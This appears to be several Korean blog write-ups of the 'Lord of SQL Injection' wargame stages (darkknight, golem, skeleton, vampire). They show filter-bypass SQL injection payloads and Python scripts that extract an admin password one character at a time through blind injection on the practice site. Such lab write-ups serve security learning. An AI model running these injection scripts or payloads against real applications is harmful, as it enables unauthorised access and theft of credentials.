pw에서 싱글쿼터의 입력을 막아두었고, no에서 싱글쿼터, substr, ascii, =의 입력을 막아둔 상태이다.

 

아래는 비밀번호를 구하는 자동화 스크립트이다.

import requests

url="https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?"
cookies = {'PHPSESSID' : 'hhh6husmeed2bk878j8u8sp1ak'}

len=0
while True:
    len+=1
    print(len)
    val="1 || id like \"admin\" && length(pw) like {} #".format(len)
    params={'no':val}
    res=requests.get(url, params=params , cookies=cookies)
    if "Hello admin" in res.text:
        print("password length=",len)
        break
print()

arr=[]    
for k in range(1,len+1):
    for j in range(32,127):
        val="1 || id like \"admin\" && ord(mid(pw, {}, 1)) like {} #".format(k, j)
        params={'no':val}
        res=requests.get(url, params=params , cookies=cookies)
        if 'Hello admin' in res.text:
            arr.append(chr(j))
            print(arr)
            break
print("password=",arr)

ord함수는 문자를 인자로 받고, 그 문자에 해당하는 유니코드 정수를 반환한다.

이전 단계에서는 ascii함수를 이용했는데 이를 이용할 수 없어 ord함수를 이용해 자동화 스크립트를 작성하였다.

 

아래는 위 코드를 실행한 결과이다.

 

 

?pw=0b70ea1f를 입력해주었더니 아래와 같이 Clear하였다.

'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] Giant  (0) 2022.11.06
[Lord of SQL Injection] Bugbear  (0) 2022.10.09
[Lord of SQL Injection] Golem  (0) 2022.09.24
[Lord of SQL Injection] Skeleton  (0) 2022.09.18
[Lord of SQL Injection] vampire  (0) 2022.09.09

preg_match함수를 통해 or, and, substr, (, = 등의 입력을 막고 있다.

 

1) 비밀번호 길이 찾기

- ?pw= || id like 'admin' %26%26 length(pw) like 5%23

 

- ?pw= || id like 'admin' %26%26 length(pw) like 8%23

위처럼 비밀번호가 8임을 알 수 있다.

 

2) 비밀번호 찾기

자동화 스크립트를 통해 비밀번호 길이와 비밀번호를 동시에 구하도록 하였다.

import requests

url="https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?"
cookies = {'PHPSESSID' : 'tqe22gs5ja0r848pf9bg7ddi2f'}

len=0
while True:
    len+=1
    print(len)
    params={'pw':"' || id like 'admin' && length(pw) like {} #".format(len)}
    res=requests.get(url, params=params , cookies=cookies)
    if "Hello admin" in res.text:
        print("password length=",len)
        break
print()

arr=[]    
for k in range(1,len+1):
    for j in range(32,127):
        res = requests.get(url+"pw=' || id like 'admin' %26%26 ASCII(mid(pw,"+str(k)+",1)) like '"+str(j) ,cookies=cookies)
        
        if 'Hello admin' in res.text:
            arr.append(chr(j))
            print(arr)
            break
print("password=",arr)

 

비밀번호가 77d6290b임을 확인하고 url를 추가해주었더니 Clear하였다.

'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] Bugbear  (0) 2022.10.09
[Lord of SQL Injection] darkknight  (0) 2022.10.02
[Lord of SQL Injection] Skeleton  (0) 2022.09.18
[Lord of SQL Injection] vampire  (0) 2022.09.09
[Lord of SQL Injection] orge  (0) 2022.06.19

쿼리를 확인해보면, and 1=0이 포함되어 있기 때문에 무조건 거짓이 될 수 밖에 없다.

따라서 이를 주석처리 해주어야한다.

 

url 뒤에  ?pw=' or id='admin' %23을 입력해주었다.

이를 통해 stage를 clear 하였다.

 

'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] darkknight  (0) 2022.10.02
[Lord of SQL Injection] Golem  (0) 2022.09.24
[Lord of SQL Injection] vampire  (0) 2022.09.09
[Lord of SQL Injection] orge  (0) 2022.06.19
[Lord of SQL Injection] darkelf  (0) 2022.05.28

str_replace를 이용하여 admin을 필터링한 것을 확인할 수 있었다.

 

따라서 url에 ?id=adadminmin 을 추가해주었다.

그리고 stage를 clear했다.

'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] Golem  (0) 2022.09.24
[Lord of SQL Injection] Skeleton  (0) 2022.09.18
[Lord of SQL Injection] orge  (0) 2022.06.19
[Lord of SQL Injection] darkelf  (0) 2022.05.28
[Lord of SQL Injection] wolfman  (0) 2022.05.21

+ Recent posts